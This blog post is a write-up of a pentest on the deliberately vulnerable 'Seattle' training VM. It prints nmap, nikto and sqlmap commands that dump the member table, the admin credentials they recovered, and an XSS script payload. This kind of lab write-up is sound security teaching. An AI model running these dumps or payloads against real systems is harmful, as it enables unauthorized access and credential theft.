30 March 2023

Pentesting Fun Stuff

following the cyber security path…

Seattle: v0.3



Graceful’s VulnVM is web application running on a virtual machine, it’s designed to simulate a simple eCommerce style website which is purposely vulnerable to a number of well know security issues commonly seen in web applications. This is really a pre-release preview of the project but it’s certainly functional as it stands, but I’m planning on doing a lot of work on this in the near future.
The plan is ultimately to have the application vulnerable to a large number of issues with a selection of different filters at different difficulties that way the as testers become better at detecting and exploiting issues the application can get hardened against common exploitation methods to allow the testers a wider ranger of experiences.


nmap -p- -sV

Looks like the machine runs a web server.
nikto -h
Let’s see what OWASP Zed Attack Proxy (ZAP) finds.
So there is a SQL and XSS vulnerability. Let’s go for the SQL first.


Let’s go and capture GET info and load it up in sqlmap and see what’s the name of the database.

sqlmap -r ~/Desktop/header.txt –level=5 –risk=3 –current-db

So, the name of the database is ‘seattle’. Let’s get the rest of the information.

sqlmap -r ~/Desktop/header.txt –level=5 –risk=3 -D seattle –tables


sqlmap -r ~/Desktop/header.txt –level=5 –risk=3 -D seattle -T tblMembers –columns –dump

That’s nice. The username plus password of the admin.
admin@seattlesounds.net | Assasin1
Let’s log in as admin.
Unfortunately there is no way to upload a dirty php to get a reverse shell.
But let’s get some other vulnerabilities.

Cross Site Scripting

After looking at some pages, it seems there is one vulnerable for XSS.”><script>alert(‘Yes! XSS’)%3B<%2Fscript>


Disclosure of information


Path traversal

Fun VM but too bad there wasn’t the possibility for a reverse shell.

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